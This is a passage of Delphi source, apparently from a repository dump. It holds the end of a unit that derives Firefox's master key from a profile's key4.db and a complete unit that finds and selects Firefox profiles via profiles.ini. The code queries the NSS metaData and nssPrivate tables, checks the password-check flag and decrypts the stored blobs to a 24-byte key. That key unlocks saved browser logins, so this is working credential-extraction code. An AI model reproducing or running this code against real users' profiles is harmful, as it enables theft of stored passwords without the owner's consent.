MetaPBE.Decrypt(MetaItem1); 494 | 495 | // Verify password-check flag 496 | PasswordCheckBytes := TEncoding.UTF8.GetBytes(PASSWORD_CHECK); 497 | if Pos(PAnsiChar(PasswordCheckBytes), PAnsiChar(Flag)) = 0 then 498 | raise EMasterKeyError.Create('Flag verification failed: password-check not found'); 499 | 500 | // Verify NssA102 501 | if not CompareMem(@NssA102[0], @EXPECTED_KEY[0], Length(EXPECTED_KEY)) then 502 | raise EMasterKeyError.Create('Master key verification failed: NssA102 not equal to expected value'); 503 | 504 | // Create and decrypt NssA11PBE 505 | NssA11PBE := NewASN1PBE(NssA11); 506 | FinallyKey := NssA11PBE.Decrypt(MetaItem1); 507 | 508 | // Verify key length 509 | if Length(FinallyKey) < 24 then 510 | raise EMasterKeyError.Create('Length of final key is less than 24 bytes'); 511 | 512 | // Return first 24 bytes 513 | SetLength(Result, 24); 514 | Move(FinallyKey[0], Result[0], 24); 515 | 516 | // Debug output - convert to hex string 517 | var HexStr := ''; 518 | for var I := 0 to 23 do 519 | HexStr := HexStr + IntToHex(Result[I], 2); 520 | 521 | except 522 | on E: Exception do 523 | raise EMasterKeyError.CreateFmt('Process master key error: %s', [E.Message]); 524 | end; 525 | end; 526 | 527 | { TMasterKeyHelper } 528 | 529 | constructor TMasterKeyHelper.Create(const AProfilePath: string); 530 | begin 531 | inherited Create; 532 | FProfilePath := AProfilePath; 533 | FSQLiteConnection := TUniConnection.Create(nil); 534 | FSQLiteConnection.ProviderName := 'SQLite'; 535 | end; 536 | 537 | destructor TMasterKeyHelper.Destroy; 538 | begin 539 | FSQLiteConnection.Free; 540 | inherited; 541 | end; 542 | 543 | function TMasterKeyHelper.GetMasterKey: TBytes; 544 | var 545 | Query: TUniQuery; 546 | MetaItem1, MetaItem2, NSSA11, NSSA102: TBytes; 547 | begin 548 | FSQLiteConnection.Database := TPath.Combine(FProfilePath, 'key4.db'); 549 | try 550 | FSQLiteConnection.Connect; 551 | 552 | Query := TUniQuery.Create(nil); 553 | try 554 | Query.Connection := FSQLiteConnection; 555 | 556 | // Get metadata items 557 | Query.SQL.Text := 'SELECT CAST(item1 as BLOB) as item1, CAST(item2 as BLOB) as item2 ' + 558 | 'FROM metaData WHERE id = "password"'; 559 | Query.Open; 560 | if not Query.IsEmpty then 561 | begin 562 | MetaItem1 := Query.FieldByName('item1').AsBytes; 563 | FGlobalSalt := MetaItem1; // Store GlobalSalt 564 | MetaItem2 := Query.FieldByName('item2').AsBytes; 565 | end 566 | else 567 | WriteLn('Debug: No metadata found'); 568 | 569 | // Get NSS items 570 | Query.SQL.Text := 'SELECT CAST(a11 as BLOB) as a11, CAST(a102 as BLOB) as a102 ' + 571 | 'FROM nssPrivate'; 572 | Query.Open; 573 | if not Query.IsEmpty then 574 | begin 575 | NSSA11 := Query.FieldByName('a11').AsBytes; 576 | NSSA102 := Query.FieldByName('a102').AsBytes; 577 | end 578 | else 579 | WriteLn('Debug: No NSS items found'); 580 | 581 | Result := ProcessMasterKey(MetaItem1, MetaItem2, NSSA11, NSSA102); 582 | except 583 | on E: Exception do 584 | begin 585 | WriteLn(Format('Debug: Error in GetMasterKey: %s', [E.Message])); 586 | raise; 587 | end; 588 | end; 589 | finally 590 | Query.Free; 591 | end; 592 | end; 593 | 594 | 595 | end. 596 | 597 | -------------------------------------------------------------------------------- /src/firefox/FirefoxProfiles.pas: -------------------------------------------------------------------------------- 1 | unit FirefoxProfiles; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, System.Classes, System.IniFiles, System.IOUtils; 7 | 8 | type 9 | TFirefoxProfile = record 10 | Name: string; 11 | Path: string; 12 | end; 13 | TFirefoxProfiles = array of TFirefoxProfile; 14 | 15 | function GetFirefoxProfiles: TFirefoxProfiles; 16 | procedure ListProfiles; 17 | function SelectProfile(ProfileChoice: Integer = 0): string; 18 | 19 | implementation 20 | 21 | function GetFirefoxProfiles: TFirefoxProfiles; 22 | var 23 | IniFile: TIniFile; 24 | IniPath: string; 25 | Sections: TStringList; 26 | i: Integer; 27 | ProfilePath: string; 28 | begin 29 | SetLength(Result, 0); 30 | IniPath := TPath.Combine(GetEnvironmentVariable('APPDATA'), 31 | 'Mozilla\Firefox\profiles.ini'); 32 | 33 | if not FileExists(IniPath) then 34 | begin 35 | WriteLn('profiles.ini not found at: ', IniPath); 36 | Exit; 37 | end; 38 | 39 | Sections := TStringList.Create; 40 | IniFile := TIniFile.Create(IniPath); 41 | try 42 | IniFile.ReadSections(Sections); 43 | for i := 0 to Sections.Count - 1 do 44 | begin 45 | if Copy(Sections[i], 1, 7) = 'Profile' then 46 | begin 47 | ProfilePath := IniFile.ReadString(Sections[i], 'Path', ''); 48 | if ProfilePath <> '' then 49 | begin 50 | SetLength(Result, Length(Result) + 1); 51 | Result[High(Result)].Name := ProfilePath; 52 | // Fix path separator 53 | ProfilePath := StringReplace(ProfilePath, '/', '\', [rfReplaceAll]); 54 | Result[High(Result)].Path := TPath.Combine(ExtractFilePath(IniPath), 55 | ProfilePath); 56 | end; 57 | end; 58 | end; 59 | finally 60 | IniFile.Free; 61 | Sections.Free; 62 | end; 63 | end; 64 | 65 | 66 | procedure ListProfiles; 67 | var 68 | Profiles: TFirefoxProfiles; 69 | i: Integer; 70 | begin 71 | Profiles := GetFirefoxProfiles; 72 | if Length(Profiles) = 0 then 73 | begin 74 | WriteLn('No Firefox profiles found.'); 75 | Exit; 76 | end; 77 | 78 | WriteLn('Available Firefox profiles:'); 79 | for i := 0 to High(Profiles) do 80 | WriteLn(i + 1, ' -> ', Profiles[i].Name); 81 | end; 82 | 83 | function SelectProfile(ProfileChoice: Integer = 0): string; 84 | var 85 | Profiles: TFirefoxProfiles; 86 | input: string; 87 | begin 88 | Result := ''; 89 | Profiles := GetFirefoxProfiles; 90 | 91 | if Length(Profiles) = 0 then 92 | begin 93 | WriteLn('No Firefox profiles found.'); 94 | Exit; 95 | end; 96 | 97 | if (ProfileChoice > 0) and (ProfileChoice <= Length(Profiles)) then 98 | begin 99 | Result := Profiles[ProfileChoice - 1].Path; 100 | Exit; 101 | end; 102 | 103 | WriteLn('Select the Mozilla profile:'); 104 | for var i := 0 to High(Profiles) do 105 | WriteLn(i + 1, ' -> ', Profiles[i].Name); 106 | 107 | while True do 108 | begin 109 | Write('Profile number (1-', Length(Profiles), '): '); 110 | ReadLn(input); 111 | if TryStrToInt(input, ProfileChoice) and (ProfileChoice >= 1) and 112 | (ProfileChoice <= Length(Profiles)) then 113 | begin 114 | Result := Profiles[ProfileChoice - 1].Path; 115 | Break; 116 | end; 117 | WriteLn('Invalid selection. Please try again.'); 118 | end; 119 | end; 120 | 121 | end. 122 | --------------------------------------------------------------------------------